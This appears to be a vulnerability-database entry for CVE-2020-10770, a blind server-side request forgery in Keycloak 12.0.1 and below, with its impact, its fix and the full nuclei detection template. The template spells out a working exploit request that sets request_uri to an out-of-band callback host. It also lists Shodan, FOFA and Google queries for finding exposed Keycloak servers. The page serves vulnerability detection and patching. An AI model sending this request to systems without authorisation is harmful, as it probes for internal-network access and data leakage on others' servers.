HexBrain

Browse / CVEs / CVE-2020-10770

CVE-2020-10770· redhat / keycloak· CWE-918

Keycloak <= 12.0.1 - request_uri Blind Server-Side Request Forgery (SSRF)

mediumseverity
5.3CVSS score
69.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Keycloak 12.0.1 and below allows an attacker to force the server to request an unverified URL using the OIDC parameter request_uri. This allows an attacker to execute a server-side request forgery (SSRF) attack.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access to internal resources, data leakage, or further attacks.

Fix

Upgrade Keycloak to a version higher than 12.0.1 to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security…
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2020-10770 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-10770

info:
  name: Keycloak <= 12.0.1 - request_uri Blind Server-Side Request Forgery (SSRF)
  author: dhiyaneshDk
  severity: medium
  description: Keycloak 12.0.1 and below allows an attacker to force the server to request an unverified URL using the OIDC parameter request_uri. This allows an attacker to execute a server-side request forgery (SSRF) attack.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to internal resources, data leakage, or further attacks.
  remediation: |
    Upgrade Keycloak to a version higher than 12.0.1 to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/164499/Keycloak-12.0.1-Server-Side-Request-Forgery.html
    - https://www.exploit-db.com/exploits/50405
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10770
    - https://bugzilla.redhat.com/show_bug.cgi?id=1846270
    - https://github.com/soosmile/POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-10770
    cwe-id: CWE-918
    epss-score: 0.69724
    epss-percentile: 0.99374
    cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: redhat
    product: keycloak
    shodan-query:
      - http.html:"keycloak"
      - http.title:"keycloak"
      - http.favicon.hash:-1105083093
    fofa-query:
      - title="keycloak"
      - icon_hash=-1105083093
      - body="keycloak"
    google-query: intitle:"keycloak"
  tags: cve,cve2020,keycloak,ssrf,oast,blind,packetstorm,edb,redhat,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{{interactsh-url}}/'

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from